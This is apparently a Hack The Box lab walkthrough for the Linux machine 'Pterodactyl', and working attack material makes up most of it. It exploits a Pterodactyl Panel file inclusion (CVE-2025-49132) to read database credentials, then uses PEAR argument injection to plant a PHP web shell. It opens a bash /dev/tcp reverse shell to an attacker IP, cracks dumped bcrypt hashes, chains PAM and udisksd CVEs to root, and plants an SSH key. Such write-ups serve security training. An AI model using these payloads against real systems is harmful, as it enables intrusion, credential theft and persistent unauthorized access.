> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-05-17

Hack The Box — Pterodactyl (Linux)

Pterodactyl Panel LFI to config read, PEAR argument injection to RCE, MySQL hash cracking for SSH, and chained udisksd escalation via PAM CVE to root.

Target

  • IP: 10.129.9.202

Port Scan

sudo nmap -sC -sV 10.129.9.202 -p- -v -T5
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp   open   http       nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp  closed https
8080/tcp closed http-proxy

Web Enumeration

Add pterodactyl.htb to /etc/hosts and visit http://pterodactyl.htb/. From response headers we see PHP 8.4.8. The page shows a hostname: play.pterodactyl.htb (looks Minecraft related). Add play.pterodactyl.htb to /etc/hosts. The site also shows:

  • Version: 1.20.x
  • SMP and Vanilla Servers.

There is a link to the changelog page at http://pterodactyl.htb/changelog.txt:

MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

Directory and vhost discovery

gobuster dir -u 'http://pterodactyl.htb/' -w /home/kali/wordlists/raft-small-words.txt -t 50 -x php

We spot:

  • /phpinfo.php (Status 200)

The phpinfo page exposes a lot of environment details.

Find vhosts:

gobuster vhost -u 'http://pterodactyl.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 --append-domain
Found: panel.pterodactyl.htb Status: 200 [Size: 1897]

Add panel.pterodactyl.htb to /etc/hosts and browse to http://panel.pterodactyl.htb/. We land on /auth/login and the panel runs on PHP 8.4.8. From the changelog, it is Pterodactyl Panel v1.11.10.

LFI in Pterodactyl Panel (CVE-2025-49132)

Software:

  • https://github.com/pterodactyl/panel

Vulnerability:

  • https://github.com/advisories/GHSA-24wv-6c99-f843

PoC:

  • https://github.com/Zen-kun04/CVE-2025-49132
git clone https://github.com/Zen-kun04/CVE-2025-49132.git
python3 CVE-2025-49132/CVE-2025-49132_PoC.py http://panel.pterodactyl.htb
http://panel.pterodactyl.htb/ => pterodactyl:PteraPanel@127.0.0.1:3306/panel

We recover credentials:

  • pterodactyl / PteraPanel

The PoC requests:

http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/database

The last part is the PHP config path. We can read other files too.

Example:

http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/pterodactyl

We notice:

"author":"pterodactyl@pterodactyl.htb"

From http://pterodactyl.htb/phpinfo.php, the document root is /var/www/html. We can include phpinfo through the panel LFI:

http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../var/www/html&namespace=phpinfo

So we can access any PHP file on the filesystem. The changelog mentions PHP-PEAR (https://pear.php.net/). The phpinfo page shows:

include_path    .:/usr/share/php8:/usr/share/php/PEAR   .:/usr/share/php8:/usr/share/php/PEAR

PEAR has a pearcmd.php script used in some CVE-2025-49132 exploits. For example:

  • https://github.com/63square/CVE-2025-49132/blob/master/exploit.py

RCE via PEAR argument injection

We attempt to write a PHP shell through pearcmd.php by passing arguments in the query string:

http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system($_GET["cmd"])?>+/var/www/html/shell.php

Because register_argc_argv is On, this is effectively:

php pearcmd.php config-create '/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system($_GET["cmd"])?>' /var/www/html/shell.php

However, the request fails with a permission error:

Warning: touch(): Unable to create file /var/www/html/Public/shell.php because Permission denied in usr/share/php/PEAR/PEAR/Command/Config.php on line 335 Could not create "/var/www/html/shell.php"

So we cannot write in that folder (and even the Public subfolder). We switch to a two-step payload, writing to /tmp first.

Create the file in /tmp:

http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system($_GET["cmd"])?>+/tmp/shell.php

The file created looks like:

CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels     auto_discover    <not set>
Default Channel                default_channel  pear.php.net
HTTP Proxy Server Address      http_proxy       <not set>
PEAR server [DEPRECATED]       master_server    <not set>
Default Channel Mirror         preferred_mirror <not set>
Remote Configuration File      remote_config    <not set>
PEAR executables directory     bin_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear
PEAR documentation directory   doc_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/docs
PHP extension directory        ext_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/ext
PEAR directory                 php_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/php
PEAR Installer cache directory cache_dir        /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/cache
PEAR configuration file        cfg_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/cfg
directory
PEAR data directory            data_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/data
PEAR Installer download        download_dir     /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/download
directory
Systems manpage files          man_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/man
directory
PEAR metadata directory        metadata_dir     <not set>
PHP CLI/CGI binary             php_bin          <not set>
php.ini location               php_ini          <not set>
--program-prefix passed to     php_prefix       <not set>
PHP's ./configure
--program-suffix passed to     php_suffix       <not set>
PHP's ./configure
PEAR Installer temp directory  temp_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/temp
PEAR test directory            test_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/tests
PEAR www files directory       www_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E/pear/www
Cache TimeToLive               cache_ttl        <not set>
Preferred Package State        preferred_state  <not set>
Unix file mask                 umask            <not set>
Debug Log Level                verbose          <not set>
PEAR password (for             password         <not set>
maintainers)
Signature Handling Program     sig_bin          <not set>
Signature Key Directory        sig_keydir       <not set>
Signature Key Id               sig_keyid        <not set>
Package Signature Type         sig_type         <not set>
PEAR username (for             username         <not set>
maintainers)
User Configuration File        Filename         /tmp/shell.php
System Configuration File      Filename         #no#system#config#

The browser URL-encoded the payload. We need to remove that. Go to:

http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/%3C?=system($_GET[%22cmd%22])?%3E+/tmp/shell.php

Intercept the request with Burp, remove URL encoding, and send it. The final path is:

/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system($_GET["cmd"])?>+/tmp/shell.php

Now include that file and run a command like id:

http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=shell&cmd=id

Output:

#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:96:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/php";s:8:"data_dir";s:97:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/data";s:7:"www_dir";s:96:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/www";s:7:"cfg_dir";s:96:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/cfg";s:7:"ext_dir";s:96:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/ext";s:7:"doc_dir";s:97:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/docs";s:8:"test_dir";s:98:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/tests";s:9:"cache_dir";s:98:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/cache";s:12:"download_dir";s:101:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/download";s:8:"temp_dir";s:97:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/temp";s:7:"bin_dir";s:92:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear";s:7:"man_dir";s:96:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}}

The id command executed, so we can get a reverse shell.

Reverse Shell

Start a listener:

nc -vlnp 4444

Then trigger the reverse shell:

http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=shell&cmd=bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E17%2E41%2F4444%200%3E%261%27

Which corresponds to:

bash -c 'bash -i >& /dev/tcp/10.10.17.41/4444 0>&1'

We get a reverse shell.

id
uid=474(wwwrun) gid=477(www) groups=477(www)
cat /etc/os-release
NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"

Upgrade to a full TTY

The target does not have Python or common TTY helpers. Useful reference:

  • https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

We can use socat. Download a statically compiled binary:

wget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/socat

The target has no wget or curl, so we transfer it via netcat.

On the attacker machine:

cat socat | nc -vlnp 5555

On the target machine:

cat < /dev/tcp/10.10.17.41/5555 > /tmp/socat
cd /tmp
chmod +x socat

Back on the attacker machine, set up the listener:

socat file:`tty`,raw,echo=0 tcp-listen:4444

On the target:

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.17.41:4444

We now have a proper interactive shell.

Local Services and MySQL

ss -ltpn
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      512        127.0.0.1:9000      0.0.0.0:*
LISTEN 0      100        127.0.0.1:25        0.0.0.0:*
LISTEN 0      511        127.0.0.1:6379      0.0.0.0:*
LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*
LISTEN 0      512          0.0.0.0:80        0.0.0.0:*
LISTEN 0      128             [::]:22           [::]:*

MySQL is running and we already have credentials.

mysql -h 127.0.0.1 -u pterodactyl -p

Enter password: PteraPanel

show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| panel              |
| test               |
+--------------------+
use panel
show tables

We find the users table.

select * from users;
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
| id | external_id | uuid                                 | username     | email                        | name_first | name_last | password                                                     | remember_token                                               | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at          | updated_at          |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
|  2 | NULL        | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor  | headmonitor@pterodactyl.htb  | Head       | Monitor   | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en       |          1 |        0 | NULL        | NULL                  |        1 | 2025-09-16 17:15:41 | 2025-09-16 17:15:41 |
|  3 | NULL        | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | phileasfogg3@pterodactyl.htb | Phileas    | Fogg      | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en       |          0 |        0 | NULL        | NULL                  |        1 | 2025-09-16 19:44:19 | 2025-11-07 18:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
2 rows in set (0.001 sec)

Put these in a file named hash:

headmonitor:$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
phileasfogg3:$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi

Crack with hashcat:

./hashcat/hashcat -a 0 -m 3200 ./hash ./rockyou.txt --username

We get:

$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx

Credentials found:

  • phileasfogg3 / !QAZ2wsx

SSH Access

ssh phileasfogg3@pterodactyl.htb

Password: !QAZ2wsx

We get a shell.

sudo -l
[sudo] password for phileasfogg3:
Matching Defaults entries for phileasfogg3 on pterodactyl:
    always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS
    XDG_SESSION_COOKIE", !insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    (ALL) ALL

We can run any command with sudo, but targetpw requires the target user password.

Mail and udisksd hint

In /var/spool/mail there is an email:

cat /var/spool/mail/phileasfogg3
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE -- Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to headmonitor@pterodactyl.htb

-- HeadMonitor
System Administrator

Searching for udisksd vulnerabilities points to CVE-2025-6019. PoC:

  • https://github.com/guinea-offensive-security/CVE-2025-6019

We need to run it locally first to create an image with a setuid root bash. To ensure compatibility, use a Docker container matching the target OS.

docker run -it --privileged opensuse/leap
cd /root
zypper install coreutils grep psmisc util-linux xfsprogs udisks2 glib2-tools git
git clone https://github.com/guinea-offensive-security/CVE-2025-6019
cd CVE-2025-6019
chmod +x exploit.sh
mknod /dev/loop0 b 7 0
bash exploit.sh

Use option L. We get:

[+] 300 MB XFS image created: ./xfs.image
[*] Transfer to target with: scp xfs.image <user>@<host>:

Copy the image from the container:

docker container cp <id_container>:/root/CVE-2025-6019/xfs.image .

Upload it to the target (into /tmp):

scp ./xfs.image phileasfogg3@pterodactyl.htb:/tmp

Also upload exploit.sh into /tmp. Edit exploit.sh and remove mkfs.xfs from this line:

local deps=("dd" "mkfs.xfs" "mount" "umount" "udisksctl" "gdbus" "killall" "grep" "chmod" "cp")

because it was only needed to create the image.

Run the exploit:

cd /tmp
bash exploit.sh

Use option C. It fails, telling us to exploit CVE-2025-6018 first.

PoC:

  • https://github.com/ibrahmsql/CVE-2025-6018
git clone https://github.com/ibrahmsql/CVE-2025-6018.git
python3 CVE-2025-6018/CVE-2025-6018.py -i pterodactyl.htb -u phileasfogg3 -p '!QAZ2wsx'
2026-02-10 02:45:48 [WARNING] Use only with proper authorization!
2026-02-10 02:45:48 [INFO] Starting CVE-2025-6018 exploit against pterodactyl.htb:22
2026-02-10 02:45:48 [INFO] Connecting to pterodactyl.htb:22 as phileasfogg3
2026-02-10 02:45:48 [INFO] Connected (version 2.0, client OpenSSH_9.6)
2026-02-10 02:45:48 [INFO] Authentication (password) successful!
2026-02-10 02:45:48 [INFO] SSH connection established
2026-02-10 02:45:48 [INFO] Starting vulnerability assessment
2026-02-10 02:45:48 [INFO] Executing check: pam_version
2026-02-10 02:45:49 [INFO] Vulnerable PAM version detected: pam-1.3.0
2026-02-10 02:45:49 [INFO] Executing check: pam_env
2026-02-10 02:45:49 [INFO] pam_env.so configuration found
2026-02-10 02:45:50 [INFO] Executing check: pam_systemd
2026-02-10 02:45:50 [INFO] pam_systemd.so found - escalation vector available
2026-02-10 02:45:51 [INFO] Executing check: systemd_version
2026-02-10 02:45:52 [INFO] Target appears vulnerable, proceeding with exploitation
2026-02-10 02:45:52 [INFO] Creating malicious environment file
2026-02-10 02:45:52 [INFO] Writing .pam_environment file
2026-02-10 02:45:52 [INFO] Malicious environment file created successfully
2026-02-10 02:45:52 [INFO] Reconnecting to trigger PAM environment loading
2026-02-10 02:45:54 [INFO] Connected (version 2.0, client OpenSSH_9.6)
2026-02-10 02:45:58 [INFO] Authentication (password) successful!
2026-02-10 02:45:58 [INFO] Reconnection successful
2026-02-10 02:45:58 [INFO] Testing privilege escalation vectors
2026-02-10 02:45:58 [INFO] Testing: SystemD Reboot
2026-02-10 02:45:58 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
2026-02-10 02:45:58 [INFO] Testing: SystemD Shutdown
2026-02-10 02:45:58 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Shutdown
2026-02-10 02:45:58 [INFO] Testing: PolicyKit Check
2026-02-10 02:45:59 [INFO] No escalation detected: PolicyKit Check
2026-02-10 02:45:59 [INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
2026-02-10 02:45:59 [INFO] Starting interactive shell session

--- Interactive Shell ---
Commands: 'exit' to quit, 'status' for privilege check
exploit$

Then on the target:

cd /tmp
bash exploit.sh

Choose option C.

[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Stopping gvfs-udisks2-volume-monitor...
[*] Note: gvfs-udisks2-volume-monitor was not running.
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 12984)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.A8NMK3/bash
[*] Executing root shell...
bash-4.4#

Check identity:

id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

We now have euid=0 (root) and can read /root/root.txt.

Optional: SSH key for root

To get a cleaner root shell, add an SSH key.

On the attacker machine, create a key pair:

ssh-keygen -f root
cat root.pub

Copy the public key. On the target:

echo '<copied_public_key>' > /root/.ssh/authorized_keys
chown root:root /root/.ssh/authorized_keys

Back on the attacker machine:

ssh -i root root@pterodactyl.htb

We get a root shell.